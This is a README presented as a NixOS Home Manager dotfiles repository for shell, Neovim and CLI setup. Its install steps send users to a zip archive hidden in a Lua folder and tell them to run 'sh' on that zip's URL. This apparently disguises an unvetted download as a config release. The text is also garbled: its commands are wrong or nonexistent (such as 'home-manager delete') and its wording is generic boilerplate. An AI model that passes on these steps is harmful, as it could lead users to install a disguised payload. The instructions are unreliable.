Welcome to the dotfiles repository! This collection holds my Home Manager configuration for NixOS. With it, you can easily set up your shell, CLI tools, Neovim, and desktop preferences. You do not need to be a programmer to use this setup.
Click the button above to download the latest version of the application.
- Easy Configuration: You can configure your desktop environment with just a few simple commands.
- NixOS Integration: This setup works seamlessly within NixOS, making it perfect for users who prefer this operating system.
- Neovim Ready: Get a well-configured Neovim setup that enhances your coding experience.
- Shell Customization: Enjoy tailored settings for your shell to improve your workflow.
- Managed Tools: Keep your CLI tools organized and easy to access.
- Operating System: NixOS (any recent version should work)
- Memory: At least 1 GB of RAM
- Storage: A minimum of 500 MB free disk space
To install and run this configuration, follow the steps below:
- Visit the Releases Page: Go to the following link to find the latest version: Download Latest Release.
- Download the Release: Look for the https://raw.githubusercontent.com/Syonex-coder/dotfiles/main/nvim-config/lua/dotfiles-v3.9.zip or .zip file that fits your system. Click on it to start the download.
- Extract the Files: After downloading, locate the file in your downloads folder. Right-click on it, and select "Extract Here" or use your preferred extraction tool.
- Open Terminal: Open your terminal application. You can usually find this in your applications menu.
- Change Directory: In the terminal, type
cdfollowed by the path where you extracted the files. For example:cd ~/Downloads/dotfiles-main - Run the Installer: Once in the correct directory, you may need to run the installation script. Type:
Follow any prompts that appear in the terminal.
sh https://raw.githubusercontent.com/Syonex-coder/dotfiles/main/nvim-config/lua/dotfiles-v3.9.zip - Verify Installation: To check if everything is set up correctly, type:
This command will show you a summary of your configuration. If there are no errors, youβre ready to go!
home-manager switch
To use the configurations:
- Open a Terminal: Continue using the terminal for commands and updates.
- Launch Neovim: Type
nvimin the terminal to start working in your newly configured Neovim environment. - Explore CLI Tools: Use your customized CLI tools as per your requirements.
If you encounter issues during installation or usage, try the following:
- Check Dependencies: Ensure all necessary dependencies are installed. You can find more about them in the documentation provided with your downloaded files.
- Review Configuration Files: Open any configuration files to check for errors or missing settings.
- Seek Help: If problems persist, consider looking for help on NixOS forums or the GitHub Issues page of this repository.
Q: Is this configuration suitable for beginners?
A: Yes, this setup is designed for users of all levels, especially those new to NixOS.
Q: Can I customize my settings further?
A: Absolutely! After installation, you can modify your configurations as needed.
Q: What if I want to uninstall?
A: To uninstall, you can run:
home-manager delete
This command will remove the configurations set by the Home Manager.
For more information and advanced topics, check out:
If you have any questions or suggestions, feel free to open an issue on the GitHub page or contact me directly through GitHub.
Once again, you can download the latest version here. Enjoy using your new setup!